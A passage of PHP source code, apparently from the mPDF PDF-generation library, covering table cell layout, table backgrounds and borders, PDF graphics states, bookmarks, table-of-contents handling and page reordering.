$bord_det['R']['w']; $bttw = $bord_det['T']['w']; } else { $btlw = 0; $btrw = 0; $bttw = 0; } if ($table['borders_separate']) { $xadj = $btlw + $cell['padding']['L'] + ($table['border_spacing_H'] / 2); $wadj = $btlw + $btrw + $cell['padding']['L'] + $cell['padding']['R'] + $table['border_spacing_H']; $yadj = $bttw + $cell['padding']['T'] + ($table['border_spacing_H'] / 2); } else { $xadj = $btlw / 2 + $cell['padding']['L']; $wadj = ($btlw + $btrw) / 2 + $cell['padding']['L'] + $cell['padding']['R']; $yadj = $bttw / 2 + $cell['padding']['T']; } } elseif ($this->simpleTables) { if ($table['borders_separate']) { // NB twice border width $xadj = $table['simple']['border_details']['L']['w'] + $cell['padding']['L'] + ($table['border_spacing_H'] / 2); $wadj = $table['simple']['border_details']['L']['w'] + $table['simple']['border_details']['R']['w'] + $cell['padding']['L'] + $cell['padding']['R'] + $table['border_spacing_H']; $yadj = $table['simple']['border_details']['T']['w'] + $cell['padding']['T'] + ($table['border_spacing_H'] / 2); } else { $xadj = $table['simple']['border_details']['L']['w'] / 2 + $cell['padding']['L']; $wadj = ($table['simple']['border_details']['L']['w'] + $table['simple']['border_details']['R']['w']) / 2 + $cell['padding']['L'] + $cell['padding']['R']; $yadj = $table['simple']['border_details']['T']['w'] / 2 + $cell['padding']['T']; } } $this->decimal_offset = 0; if (substr($cell['a'], 0, 1) == 'D') { if (isset($cell['colspan']) && $cell['colspan'] > 1) { $this->cellTextAlign = $c['a'] = substr($cell['a'], 2, 1); } else { $smax = $table['decimal_align'][$j]['maxs0']; $d_content = $table['decimal_align'][$j]['maxs0'] + $table['decimal_align'][$j]['maxs1']; $this->decimal_offset = $smax; $extra = ($w - $d_content - $wadj); if ($extra > 0) { if (substr($cell['a'], 2, 1) == 'R') { $this->decimal_offset += $extra; } elseif (substr($cell['a'], 2, 1) == 'C') { $this->decimal_offset += ($extra) / 2; } } } } $this->divwidth = $w - $wadj; if ($this->divwidth == 0) { $this->divwidth = 0.0001; } $this->x += $xadj; $this->y += $yadj; $this->printbuffer($cell['textbuffer'], '', true, false, $cell['direction']); } $this->y = $opy; } /* -- BACKGROUNDS -- */ if (!$this->ColActive) { if (isset($table['trgradients'][$i]) && ($j == 0 || $table['borders_separate'])) { $g = $this->gradient->parseBackgroundGradient($table['trgradients'][$i]); if ($g) { $gx = $x0; $gy = $y; $gh = $h; $gw = $table['w'] - ($table['max_cell_border_width']['L'] / 2) - ($table['max_cell_border_width']['R'] / 2) - $table['margin']['L'] - $table['margin']['R']; if ($table['borders_separate']) { $gw -= ($table['padding']['L'] + $table['border_details']['L']['w'] + $table['padding']['R'] + $table['border_details']['R']['w'] + $table['border_spacing_H']); $clx = $x + ($table['border_spacing_H'] / 2); $cly = $y + ($table['border_spacing_V'] / 2); $clw = $w - $table['border_spacing_H']; $clh = $h - $table['border_spacing_V']; // Set clipping path $s = $this->_setClippingPath($clx, $cly, $clw, $clh); // mPDF 6 $this->tableBackgrounds[$level * 9 + 4][] = ['gradient' => true, 'x' => $gx + ($table['border_spacing_H'] / 2), 'y' => $gy + ($table['border_spacing_V'] / 2), 'w' => $gw - $table['border_spacing_V'], 'h' => $gh - $table['border_spacing_H'], 'gradtype' => $g['type'], 'stops' => $g['stops'], 'colorspace' => $g['colorspace'], 'coords' => $g['coords'], 'extend' => $g['extend'], 'clippath' => $s]; } else { $this->tableBackgrounds[$level * 9 + 4][] = ['gradient' => true, 'x' => $gx, 'y' => $gy, 'w' => $gw, 'h' => $gh, 'gradtype' => $g['type'], 'stops' => $g['stops'], 'colorspace' => $g['colorspace'], 'coords' => $g['coords'], 'extend' => $g['extend'], 'clippath' => '']; } } } if (isset($table['trbackground-images'][$i]) && ($j == 0 || $table['borders_separate'])) { if (isset($table['trbackground-images'][$i]['gradient']) && preg_match('/(-moz-)*(repeating-)*(linear|radial)-gradient/', $table['trbackground-images'][$i]['gradient'])) { $g = $this->gradient->parseMozGradient($table['trbackground-images'][$i]['gradient']); if ($g) { $gx = $x0; $gy = $y; $gh = $h; $gw = $table['w'] - ($table['max_cell_border_width']['L'] / 2) - ($table['max_cell_border_width']['R'] / 2) - $table['margin']['L'] - $table['margin']['R']; if ($table['borders_separate']) { $gw -= ($table['padding']['L'] + $table['border_details']['L']['w'] + $table['padding']['R'] + $table['border_details']['R']['w'] + $table['border_spacing_H']); $clx = $x + ($table['border_spacing_H'] / 2); $cly = $y + ($table['border_spacing_V'] / 2); $clw = $w - $table['border_spacing_H']; $clh = $h - $table['border_spacing_V']; // Set clipping path $s = $this->_setClippingPath($clx, $cly, $clw, $clh); // mPDF 6 $this->tableBackgrounds[$level * 9 + 4][] = ['gradient' => true, 'x' => $gx + ($table['border_spacing_H'] / 2), 'y' => $gy + ($table['border_spacing_V'] / 2), 'w' => $gw - $table['border_spacing_V'], 'h' => $gh - $table['border_spacing_H'], 'gradtype' => $g['type'], 'stops' => $g['stops'], 'colorspace' => $g['colorspace'], 'coords' => $g['coords'], 'extend' => $g['extend'], 'clippath' => $s]; } else { $this->tableBackgrounds[$level * 9 + 4][] = ['gradient' => true, 'x' => $gx, 'y' => $gy, 'w' => $gw, 'h' => $gh, 'gradtype' => $g['type'], 'stops' => $g['stops'], 'colorspace' => $g['colorspace'], 'coords' => $g['coords'], 'extend' => $g['extend'], 'clippath' => '']; } } } else { $image_id = $table['trbackground-images'][$i]['image_id']; $orig_w = $table['trbackground-images'][$i]['orig_w']; $orig_h = $table['trbackground-images'][$i]['orig_h']; $x_pos = $table['trbackground-images'][$i]['x_pos']; $y_pos = $table['trbackground-images'][$i]['y_pos']; $x_repeat = $table['trbackground-images'][$i]['x_repeat']; $y_repeat = $table['trbackground-images'][$i]['y_repeat']; $resize = $table['trbackground-images'][$i]['resize']; $opacity = $table['trbackground-images'][$i]['opacity']; $itype = $table['trbackground-images'][$i]['itype']; $clippath = ''; $gx = $x0; $gy = $y; $gh = $h; $gw = $table['w'] - ($table['max_cell_border_width']['L'] / 2) - ($table['max_cell_border_width']['R'] / 2) - $table['margin']['L'] - $table['margin']['R']; if ($table['borders_separate']) { $gw -= ($table['padding']['L'] + $table['border_details']['L']['w'] + $table['padding']['R'] + $table['border_details']['R']['w'] + $table['border_spacing_H']); $clx = $x + ($table['border_spacing_H'] / 2); $cly = $y + ($table['border_spacing_V'] / 2); $clw = $w - $table['border_spacing_H']; $clh = $h - $table['border_spacing_V']; // Set clipping path $s = $this->_setClippingPath($clx, $cly, $clw, $clh); // mPDF 6 $this->tableBackgrounds[$level * 9 + 5][] = ['x' => $gx + ($table['border_spacing_H'] / 2), 'y' => $gy + ($table['border_spacing_V'] / 2), 'w' => $gw - $table['border_spacing_V'], 'h' => $gh - $table['border_spacing_H'], 'image_id' => $image_id, 'orig_w' => $orig_w, 'orig_h' => $orig_h, 'x_pos' => $x_pos, 'y_pos' => $y_pos, 'x_repeat' => $x_repeat, 'y_repeat' => $y_repeat, 'clippath' => $s, 'resize' => $resize, 'opacity' => $opacity, 'itype' => $itype]; } else { $this->tableBackgrounds[$level * 9 + 5][] = ['x' => $gx, 'y' => $gy, 'w' => $gw, 'h' => $gh, 'image_id' => $image_id, 'orig_w' => $orig_w, 'orig_h' => $orig_h, 'x_pos' => $x_pos, 'y_pos' => $y_pos, 'x_repeat' => $x_repeat, 'y_repeat' => $y_repeat, 'clippath' => '', 'resize' => $resize, 'opacity' => $opacity, 'itype' => $itype]; } } } } /* -- END BACKGROUNDS -- */ // TABLE BORDER - if separate if (($table['borders_separate'] || ($this->simpleTables && !$table['simple']['border'])) && $table['border']) { $halfspaceL = $table['padding']['L'] + ($table['border_spacing_H'] / 2); $halfspaceR = $table['padding']['R'] + ($table['border_spacing_H'] / 2); $halfspaceT = $table['padding']['T'] + ($table['border_spacing_V'] / 2); $halfspaceB = $table['padding']['B'] + ($table['border_spacing_V'] / 2); $tbx = $x; $tby = $y; $tbw = $w; $tbh = $h; $tab_bord = 0; $corner = ''; if ($i == 0) { // Top $tby -= $halfspaceT + ($table['border_details']['T']['w'] / 2); $tbh += $halfspaceT + ($table['border_details']['T']['w'] / 2); $this->setBorder($tab_bord, Border::TOP); $corner .= 'T'; } if ($i == ($numrows - 1) || (isset($cell['rowspan']) && ($i + $cell['rowspan']) == $numrows)) { // Bottom $tbh += $halfspaceB + ($table['border_details']['B']['w'] / 2); $this->setBorder($tab_bord, Border::BOTTOM); $corner .= 'B'; } if ($j == 0) { // Left $tbx -= $halfspaceL + ($table['border_details']['L']['w'] / 2); $tbw += $halfspaceL + ($table['border_details']['L']['w'] / 2); $this->setBorder($tab_bord, Border::LEFT); $corner .= 'L'; } if ($j == ($numcols - 1) || (isset($cell['colspan']) && ($j + $cell['colspan']) == $numcols)) { // Right $tbw += $halfspaceR + ($table['border_details']['R']['w'] / 2); $this->setBorder($tab_bord, Border::RIGHT); $corner .= 'R'; } $this->_tableRect($tbx, $tby, $tbw, $tbh, $tab_bord, $table['border_details'], false, $table['borders_separate'], 'table', $corner, $table['border_spacing_V'], $table['border_spacing_H']); } unset($cell); // Reset values $this->Reset(); }//end of (if isset(cells)...) }// end of columns $newpagestarted = false; $this->tabletheadjustfinished = false; /* -- COLUMNS -- */ if ($this->ColActive) { if (!$this->table_keep_together && $i < $numrows - 1 && $level == 1) { $this->breakpoints[$this->CurrCol][] = $y + $h; } // mPDF 6 if (count($this->cellBorderBuffer)) { $this->printcellbuffer(); } } /* -- END COLUMNS -- */ if ($i == $numrows - 1) { $this->y = $y + $h; } // last row jump (update this->y position) if ($this->table_rotate && $level == 1) { $this->tbrot_h += $h; } } // end of rows if (count($this->cellBorderBuffer)) { $this->printcellbuffer(); } if ($this->tableClipPath) { $this->writer->write("Q"); } $this->tableClipPath = ''; // Advance down page by half width of bottom border if ($table['borders_separate']) { $this->y += $table['padding']['B'] + $table['border_details']['B']['w'] + $table['border_spacing_V'] / 2; } else { $this->y += $table['max_cell_border_width']['B'] / 2; } if ($table['borders_separate'] && $level == 1) { $this->tbrot_h += $table['margin']['B'] + $table['padding']['B'] + $table['border_details']['B']['w'] + $table['border_spacing_V'] / 2; } elseif ($level == 1) { $this->tbrot_h += $table['margin']['B'] + $table['max_cell_border_width']['B'] / 2; } $bx = $x0; $by = $y0; if ($table['borders_separate']) { $bx -= ($table['padding']['L'] + $table['border_details']['L']['w'] + $table['border_spacing_H'] / 2); if ($tablestartpageno != $this->page) { // IF broken across page $by += $table['max_cell_border_width']['T'] / 2; if (empty($tableheader)) { $by -= ($table['border_spacing_V'] / 2); } } elseif ($split && $startrow > 0 && empty($tableheader)) { $by -= ($table['border_spacing_V'] / 2); } else { $by -= ($table['padding']['T'] + $table['border_details']['T']['w'] + $table['border_spacing_V'] / 2); } } elseif ($tablestartpageno != $this->page && !empty($tableheader)) { $by += $maxbwtop / 2; } $by -= $tableheaderadj; $bh = $this->y - $by; if (!$table['borders_separate']) { $bh -= $table['max_cell_border_width']['B'] / 2; } if ($split) { $bw = 0; $finalSpread = true; for ($t = $startcol; $t < $numcols; $t++) { if ($table['colPg'][$t] == $splitpg) { $bw += $table['wc'][$t]; } if ($table['colPg'][$t] > $splitpg) { $finalSpread = false; break; } } if ($startcol == 0) { $firstSpread = true; } else { $firstSpread = false; } if ($table['borders_separate']) { $bw += $table['border_spacing_H']; if ($firstSpread) { $bw += $table['padding']['L'] + $table['border_details']['L']['w']; } else { $bx += ($table['padding']['L'] + $table['border_details']['L']['w']); } if ($finalSpread) { $bw += $table['padding']['R'] + $table['border_details']['R']['w']; } } } else { $bw = $table['w'] - ($table['max_cell_border_width']['L'] / 2) - ($table['max_cell_border_width']['R'] / 2) - $table['margin']['L'] - $table['margin']['R']; } if (!$this->ColActive) { if (isset($table['bgcolor'][-1])) { $color = $this->colorConverter->convert($table['bgcolor'][-1], $this->PDFAXwarnings); if ($color) { $this->tableBackgrounds[$level * 9][] = ['gradient' => false, 'x' => $bx, 'y' => $by, 'w' => $bw, 'h' => $bh, 'col' => $color]; } } /* -- BACKGROUNDS -- */ if (isset($table['gradient'])) { $g = $this->gradient->parseBackgroundGradient($table['gradient']); if ($g) { $this->tableBackgrounds[$level * 9 + 1][] = ['gradient' => true, 'x' => $bx, 'y' => $by, 'w' => $bw, 'h' => $bh, 'gradtype' => $g['type'], 'stops' => $g['stops'], 'colorspace' => $g['colorspace'], 'coords' => $g['coords'], 'extend' => $g['extend'], 'clippath' => '']; } } if (isset($table['background-image'])) { if (isset($table['background-image']['gradient']) && $table['background-image']['gradient'] && preg_match('/(-moz-)*(repeating-)*(linear|radial)-gradient/', $table['background-image']['gradient'])) { $g = $this->gradient->parseMozGradient($table['background-image']['gradient']); if ($g) { $this->tableBackgrounds[$level * 9 + 1][] = ['gradient' => true, 'x' => $bx, 'y' => $by, 'w' => $bw, 'h' => $bh, 'gradtype' => $g['type'], 'stops' => $g['stops'], 'colorspace' => $g['colorspace'], 'coords' => $g['coords'], 'extend' => $g['extend'], 'clippath' => '']; } } else { $image_id = $table['background-image']['image_id']; $orig_w = $table['background-image']['orig_w']; $orig_h = $table['background-image']['orig_h']; $x_pos = $table['background-image']['x_pos']; $y_pos = $table['background-image']['y_pos']; $x_repeat = $table['background-image']['x_repeat']; $y_repeat = $table['background-image']['y_repeat']; $resize = $table['background-image']['resize']; $opacity = $table['background-image']['opacity']; $itype = $table['background-image']['itype']; $this->tableBackgrounds[$level * 9 + 2][] = ['x' => $bx, 'y' => $by, 'w' => $bw, 'h' => $bh, 'image_id' => $image_id, 'orig_w' => $orig_w, 'orig_h' => $orig_h, 'x_pos' => $x_pos, 'y_pos' => $y_pos, 'x_repeat' => $x_repeat, 'y_repeat' => $y_repeat, 'clippath' => '', 'resize' => $resize, 'opacity' => $opacity, 'itype' => $itype]; } } /* -- END BACKGROUNDS -- */ } if ($this->tableBackgrounds && $level == 1) { $s = $this->PrintTableBackgrounds(); if ($this->table_rotate && !$this->processingHeader && !$this->processingFooter) { $this->tablebuffer = preg_replace('/(___TABLE___BACKGROUNDS' . $this->uniqstr . ')/', '\\1' . "\n" . $s . "\n", $this->tablebuffer); if ($level == 1) { $this->tablebuffer = preg_replace('/(___TABLE___BACKGROUNDS' . $this->uniqstr . ')/', " ", $this->tablebuffer); } } elseif ($this->bufferoutput) { $this->headerbuffer = preg_replace('/(___TABLE___BACKGROUNDS' . $this->uniqstr . ')/', '\\1' . "\n" . $s . "\n", $this->headerbuffer); if ($level == 1) { $this->headerbuffer = preg_replace('/(___TABLE___BACKGROUNDS' . $this->uniqstr . ')/', " ", $this->headerbuffer); } } else { $this->pages[$this->page] = preg_replace('/(___TABLE___BACKGROUNDS' . $this->uniqstr . ')/', '\\1' . "\n" . $s . "\n", $this->pages[$this->page]); if ($level == 1) { $this->pages[$this->page] = preg_replace('/(___TABLE___BACKGROUNDS' . $this->uniqstr . ')/', " ", $this->pages[$this->page]); } } $this->tableBackgrounds = []; } // TABLE BOTTOM MARGIN if ($table['margin']['B']) { if (!$this->table_rotate && $level == 1) { $this->DivLn($table['margin']['B'], $this->blklvl, true); // collapsible } else { $this->y += ($table['margin']['B']); } } if ($this->ColActive && $level == 1) { $this->breakpoints[$this->CurrCol][] = $this->y; } // *COLUMNS* if ($split) { // Are there more columns to print on a next page? if ($lastCol < $numcols - 1) { $splitpg++; $startcol = $lastCol + 1; return [false, $startrow, $startcol, $splitpg, $returny, $y0]; } else { return [true, 0, 0, 0, false, false]; } } } // END OF FUNCTION _tableWrite() /////////////////////////END OF TABLE CODE////////////////////////////////// /* -- END TABLES -- */ function _putextgstates() { for ($i = 1; $i <= count($this->extgstates); $i++) { $this->writer->object(); $this->extgstates[$i]['n'] = $this->n; $this->writer->write('<</Type /ExtGState'); foreach ($this->extgstates[$i]['parms'] as $k => $v) { $this->writer->write('/' . $k . ' ' . $v); } $this->writer->write('>>'); $this->writer->write('endobj'); } } function SetProtection($permissions = [], $user_pass = '', $owner_pass = null, $length = 40) { $this->encrypted = $this->protection->setProtection($permissions, $user_pass, $owner_pass, $length); } // ========================================= // FROM class PDF_Bookmark function Bookmark($txt, $level = 0, $y = 0) { $txt = $this->purify_utf8_text($txt); if ($this->text_input_as_HTML) { $txt = $this->all_entities_to_utf8($txt); } if ($y == -1) { if (!$this->ColActive) { $y = $this->y; } else { $y = $this->y0; } // If columns are on - mark top of columns } // else y is used as set, or =0 i.e. top of page // DIRECTIONALITY RTL $bmo = ['t' => $txt, 'l' => $level, 'y' => $y, 'p' => $this->page]; if ($this->keep_block_together) { // do nothing } elseif ($this->table_rotate) { $this->tbrot_BMoutlines[] = $bmo; } elseif ($this->kwt) { $this->kwt_BMoutlines[] = $bmo; } elseif ($this->ColActive) { $this->col_BMoutlines[] = $bmo; } else { $this->BMoutlines[] = $bmo; } } /** * Initiate, and Mark a place for the Table of Contents to be inserted */ function TOC( $tocfont = '', $tocfontsize = 0, $tocindent = 0, $resetpagenum = '', $pagenumstyle = '', $suppress = '', $toc_orientation = '', $TOCusePaging = true, $TOCuseLinking = false, $toc_id = 0, $tocoutdent = '' ) { $this->tableOfContents->TOC( $tocfont, $tocfontsize, $tocindent, $resetpagenum, $pagenumstyle, $suppress, $toc_orientation, $TOCusePaging, $TOCuseLinking, $toc_id, $tocoutdent ); } function TOCpagebreakByArray($a) { if (!is_array($a)) { $a = []; } $tocoutdent = (isset($a['tocoutdent']) ? $a['tocoutdent'] : (isset($a['outdent']) ? $a['outdent'] : '')); $TOCusePaging = (isset($a['TOCusePaging']) ? $a['TOCusePaging'] : (isset($a['paging']) ? $a['paging'] : true)); $TOCuseLinking = (isset($a['TOCuseLinking']) ? $a['TOCuseLinking'] : (isset($a['links']) ? $a['links'] : '')); $toc_orientation = (isset($a['toc_orientation']) ? $a['toc_orientation'] : (isset($a['toc-orientation']) ? $a['toc-orientation'] : '')); $toc_mgl = (isset($a['toc_mgl']) ? $a['toc_mgl'] : (isset($a['toc-margin-left']) ? $a['toc-margin-left'] : '')); $toc_mgr = (isset($a['toc_mgr']) ? $a['toc_mgr'] : (isset($a['toc-margin-right']) ? $a['toc-margin-right'] : '')); $toc_mgt = (isset($a['toc_mgt']) ? $a['toc_mgt'] : (isset($a['toc-margin-top']) ? $a['toc-margin-top'] : '')); $toc_mgb = (isset($a['toc_mgb']) ? $a['toc_mgb'] : (isset($a['toc-margin-bottom']) ? $a['toc-margin-bottom'] : '')); $toc_mgh = (isset($a['toc_mgh']) ? $a['toc_mgh'] : (isset($a['toc-margin-header']) ? $a['toc-margin-header'] : '')); $toc_mgf = (isset($a['toc_mgf']) ? $a['toc_mgf'] : (isset($a['toc-margin-footer']) ? $a['toc-margin-footer'] : '')); $toc_ohname = (isset($a['toc_ohname']) ? $a['toc_ohname'] : (isset($a['toc-odd-header-name']) ? $a['toc-odd-header-name'] : '')); $toc_ehname = (isset($a['toc_ehname']) ? $a['toc_ehname'] : (isset($a['toc-even-header-name']) ? $a['toc-even-header-name'] : '')); $toc_ofname = (isset($a['toc_ofname']) ? $a['toc_ofname'] : (isset($a['toc-odd-footer-name']) ? $a['toc-odd-footer-name'] : '')); $toc_efname = (isset($a['toc_efname']) ? $a['toc_efname'] : (isset($a['toc-even-footer-name']) ? $a['toc-even-footer-name'] : '')); $toc_ohvalue = (isset($a['toc_ohvalue']) ? $a['toc_ohvalue'] : (isset($a['toc-odd-header-value']) ? $a['toc-odd-header-value'] : 0)); $toc_ehvalue = (isset($a['toc_ehvalue']) ? $a['toc_ehvalue'] : (isset($a['toc-even-header-value']) ? $a['toc-even-header-value'] : 0)); $toc_ofvalue = (isset($a['toc_ofvalue']) ? $a['toc_ofvalue'] : (isset($a['toc-odd-footer-value']) ? $a['toc-odd-footer-value'] : 0)); $toc_efvalue = (isset($a['toc_efvalue']) ? $a['toc_efvalue'] : (isset($a['toc-even-footer-value']) ? $a['toc-even-footer-value'] : 0)); $toc_preHTML = (isset($a['toc_preHTML']) ? $a['toc_preHTML'] : (isset($a['toc-preHTML']) ? $a['toc-preHTML'] : '')); $toc_postHTML = (isset($a['toc_postHTML']) ? $a['toc_postHTML'] : (isset($a['toc-postHTML']) ? $a['toc-postHTML'] : '')); $toc_bookmarkText = (isset($a['toc_bookmarkText']) ? $a['toc_bookmarkText'] : (isset($a['toc-bookmarkText']) ? $a['toc-bookmarkText'] : '')); $resetpagenum = (isset($a['resetpagenum']) ? $a['resetpagenum'] : ''); $pagenumstyle = (isset($a['pagenumstyle']) ? $a['pagenumstyle'] : ''); $suppress = (isset($a['suppress']) ? $a['suppress'] : ''); $orientation = (isset($a['orientation']) ? $a['orientation'] : ''); $mgl = (isset($a['mgl']) ? $a['mgl'] : (isset($a['margin-left']) ? $a['margin-left'] : '')); $mgr = (isset($a['mgr']) ? $a['mgr'] : (isset($a['margin-right']) ? $a['margin-right'] : '')); $mgt = (isset($a['mgt']) ? $a['mgt'] : (isset($a['margin-top']) ? $a['margin-top'] : '')); $mgb = (isset($a['mgb']) ? $a['mgb'] : (isset($a['margin-bottom']) ? $a['margin-bottom'] : '')); $mgh = (isset($a['mgh']) ? $a['mgh'] : (isset($a['margin-header']) ? $a['margin-header'] : '')); $mgf = (isset($a['mgf']) ? $a['mgf'] : (isset($a['margin-footer']) ? $a['margin-footer'] : '')); $ohname = (isset($a['ohname']) ? $a['ohname'] : (isset($a['odd-header-name']) ? $a['odd-header-name'] : '')); $ehname = (isset($a['ehname']) ? $a['ehname'] : (isset($a['even-header-name']) ? $a['even-header-name'] : '')); $ofname = (isset($a['ofname']) ? $a['ofname'] : (isset($a['odd-footer-name']) ? $a['odd-footer-name'] : '')); $efname = (isset($a['efname']) ? $a['efname'] : (isset($a['even-footer-name']) ? $a['even-footer-name'] : '')); $ohvalue = (isset($a['ohvalue']) ? $a['ohvalue'] : (isset($a['odd-header-value']) ? $a['odd-header-value'] : 0)); $ehvalue = (isset($a['ehvalue']) ? $a['ehvalue'] : (isset($a['even-header-value']) ? $a['even-header-value'] : 0)); $ofvalue = (isset($a['ofvalue']) ? $a['ofvalue'] : (isset($a['odd-footer-value']) ? $a['odd-footer-value'] : 0)); $efvalue = (isset($a['efvalue']) ? $a['efvalue'] : (isset($a['even-footer-value']) ? $a['even-footer-value'] : 0)); $toc_id = (isset($a['toc_id']) ? $a['toc_id'] : (isset($a['name']) ? $a['name'] : 0)); $pagesel = (isset($a['pagesel']) ? $a['pagesel'] : (isset($a['pageselector']) ? $a['pageselector'] : '')); $toc_pagesel = (isset($a['toc_pagesel']) ? $a['toc_pagesel'] : (isset($a['toc-pageselector']) ? $a['toc-pageselector'] : '')); $sheetsize = (isset($a['sheetsize']) ? $a['sheetsize'] : (isset($a['sheet-size']) ? $a['sheet-size'] : '')); $toc_sheetsize = (isset($a['toc_sheetsize']) ? $a['toc_sheetsize'] : (isset($a['toc-sheet-size']) ? $a['toc-sheet-size'] : '')); $this->TOCpagebreak('', '', '', $TOCusePaging, $TOCuseLinking, $toc_orientation, $toc_mgl, $toc_mgr, $toc_mgt, $toc_mgb, $toc_mgh, $toc_mgf, $toc_ohname, $toc_ehname, $toc_ofname, $toc_efname, $toc_ohvalue, $toc_ehvalue, $toc_ofvalue, $toc_efvalue, $toc_preHTML, $toc_postHTML, $toc_bookmarkText, $resetpagenum, $pagenumstyle, $suppress, $orientation, $mgl, $mgr, $mgt, $mgb, $mgh, $mgf, $ohname, $ehname, $ofname, $efname, $ohvalue, $ehvalue, $ofvalue, $efvalue, $toc_id, $pagesel, $toc_pagesel, $sheetsize, $toc_sheetsize, $tocoutdent); } function TOCpagebreak($tocfont = '', $tocfontsize = '', $tocindent = '', $TOCusePaging = true, $TOCuseLinking = '', $toc_orientation = '', $toc_mgl = '', $toc_mgr = '', $toc_mgt = '', $toc_mgb = '', $toc_mgh = '', $toc_mgf = '', $toc_ohname = '', $toc_ehname = '', $toc_ofname = '', $toc_efname = '', $toc_ohvalue = 0, $toc_ehvalue = 0, $toc_ofvalue = 0, $toc_efvalue = 0, $toc_preHTML = '', $toc_postHTML = '', $toc_bookmarkText = '', $resetpagenum = '', $pagenumstyle = '', $suppress = '', $orientation = '', $mgl = '', $mgr = '', $mgt = '', $mgb = '', $mgh = '', $mgf = '', $ohname = '', $ehname = '', $ofname = '', $efname = '', $ohvalue = 0, $ehvalue = 0, $ofvalue = 0, $efvalue = 0, $toc_id = 0, $pagesel = '', $toc_pagesel = '', $sheetsize = '', $toc_sheetsize = '', $tocoutdent = '') { // Start a new page if ($this->state == 0) { $this->AddPage(); } if ($this->y == $this->tMargin && (!$this->mirrorMargins || ($this->mirrorMargins && $this->page % 2 == 1))) { // Don't add a page if ($this->page == 1 && count($this->PageNumSubstitutions) == 0) { if (!$suppress) { $suppress = 'off'; } // $this->PageNumSubstitutions[] = array('from'=>1, 'reset'=> $resetpagenum, 'type'=>$pagenumstyle, 'suppress'=> $suppress); } $this->PageNumSubstitutions[] = ['from' => $this->page, 'reset' => $resetpagenum, 'type' => $pagenumstyle, 'suppress' => $suppress]; } else { $this->AddPage($orientation, 'NEXT-ODD', $resetpagenum, $pagenumstyle, $suppress, $mgl, $mgr, $mgt, $mgb, $mgh, $mgf, $ohname, $ehname, $ofname, $efname, $ohvalue, $ehvalue, $ofvalue, $efvalue, $pagesel, $sheetsize); } $this->tableOfContents->TOCpagebreak($tocfont, $tocfontsize, $tocindent, $TOCusePaging, $TOCuseLinking, $toc_orientation, $toc_mgl, $toc_mgr, $toc_mgt, $toc_mgb, $toc_mgh, $toc_mgf, $toc_ohname, $toc_ehname, $toc_ofname, $toc_efname, $toc_ohvalue, $toc_ehvalue, $toc_ofvalue, $toc_efvalue, $toc_preHTML, $toc_postHTML, $toc_bookmarkText, $resetpagenum, $pagenumstyle, $suppress, $orientation, $mgl, $mgr, $mgt, $mgb, $mgh, $mgf, $ohname, $ehname, $ofname, $efname, $ohvalue, $ehvalue, $ofvalue, $efvalue, $toc_id, $pagesel, $toc_pagesel, $sheetsize, $toc_sheetsize, $tocoutdent); } function TOC_Entry($txt, $level = 0, $toc_id = 0) { if ($this->ColActive) { $ily = $this->y0; } else { $ily = $this->y; } // use top of columns $linkn = $this->AddLink(); $uid = '__mpdfinternallink_' . $linkn; if ($this->table_rotate) { $this->internallink[$uid] = ["Y" => $ily, "PAGE" => $this->page, "tbrot" => true]; } elseif ($this->kwt) { $this->internallink[$uid] = ["Y" => $ily, "PAGE" => $this->page, "kwt" => true]; } elseif ($this->ColActive) { $this->internallink[$uid] = ["Y" => $ily, "PAGE" => $this->page, "col" => $this->CurrCol]; } elseif (!$this->keep_block_together) { $this->internallink[$uid] = ["Y" => $ily, "PAGE" => $this->page]; } $this->internallink['#' . $uid] = $linkn; $this->SetLink($linkn, $ily, $this->page); if (strtoupper($toc_id) == 'ALL') { $toc_id = '_mpdf_all'; } elseif (!$toc_id) { $toc_id = 0; } else { $toc_id = strtolower($toc_id); } $btoc = ['t' => $txt, 'l' => $level, 'p' => $this->page, 'link' => $linkn, 'toc_id' => $toc_id]; if ($this->keep_block_together) { // do nothing } /* -- TABLES -- */ elseif ($this->table_rotate) { $this->tbrot_toc[] = $btoc; } elseif ($this->kwt) { $this->kwt_toc[] = $btoc; } /* -- END TABLES -- */ elseif ($this->ColActive) { // *COLUMNS* $this->col_toc[] = $btoc; // *COLUMNS* } // *COLUMNS* else { $this->tableOfContents->_toc[] = $btoc; } } /* -- END TOC -- */ // ====================================================== function MovePages($target_page, $start_page, $end_page = -1) { // move a page/pages EARLIER in the document if ($end_page < 1) { $end_page = $start_page; } $n_toc = $end_page - $start_page + 1; // Set/Update PageNumSubstitutions changes before moving anything if (count($this->PageNumSubstitutions)) { $tp_present = false; $sp_present = false; $ep_present = false; foreach ($this->PageNumSubstitutions as $k => $v) { if ($this->PageNumSubstitutions[$k]['from'] == $target_page) { $tp_present = true; if ($this->PageNumSubstitutions[$k]['suppress'] != 'on' && $this->PageNumSubstitutions[$k]['suppress'] != 1) { $this->PageNumSubstitutions[$k]['suppress'] = 'off'; } } if ($this->PageNumSubstitutions[$k]['from'] == $start_page) { $sp_present = true; if ($this->PageNumSubstitutions[$k]['suppress'] != 'on' && $this->PageNumSubstitutions[$k]['suppress'] != 1) { $this->PageNumSubstitutions[$k]['suppress'] = 'off'; } } if ($this->PageNumSubstitutions[$k]['from'] == ($end_page + 1)) { $ep_present = true; if ($this->PageNumSubstitutions[$k]['suppress'] != 'on' && $this->PageNumSubstitutions[$k]['suppress'] != 1) { $this->PageNumSubstitutions[$k]['suppress'] = 'off'; } } } if (!$tp_present) { list($tp_type, $tp_suppress, $tp_reset) = $this->docPageSettings($target_page); } if (!$sp_present) { list($sp_type, $sp_suppress, $sp_reset) = $this->docPageSettings($start_page); } if (!$ep_present) { list($ep_type, $ep_suppress, $ep_reset) = $this->docPageSettings($start_page - 1); } } $last = []; // store pages for ($i = $start_page; $i <= $end_page; $i++) { $last[] = $this->pages[$i]; } // move pages for ($i = $start_page - 1; $i >= ($target_page); $i--) { $this->pages[$i + $n_toc] = $this->pages[$i]; } // Put toc pages at insert point for ($i = 0; $i < $n_toc; $i++) { $this->pages[$target_page + $i] = $last[$i]; } /* -- BOOKMARKS -- */ // Update Bookmarks foreach ($this->BMoutlines as $i => $o) { if ($o['p'] >= $target_page) { $this->BMoutlines[$i]['p'] += $n_toc; } } /* -- END BOOKMARKS -- */ // Update Page Links if (count($this->PageLinks)) { $newarr = []; foreach ($this->PageLinks as $i => $o) { foreach ($this->PageLinks[$i] as $key => $pl) { if (strpos($pl[4], '@') === 0) { $p = substr($pl[4], 1); if ($p >= $start_page && $p <= $end_page) { $this->PageLinks[$i][$key][4] = '@' . ($p + ($target_page - $start_page)); } elseif ($p >= $target_page && $p < $start_page) { $this->PageLinks[$i][$key][4] = '@' . ($p + $n_toc); } } } if ($i >= $start_page && 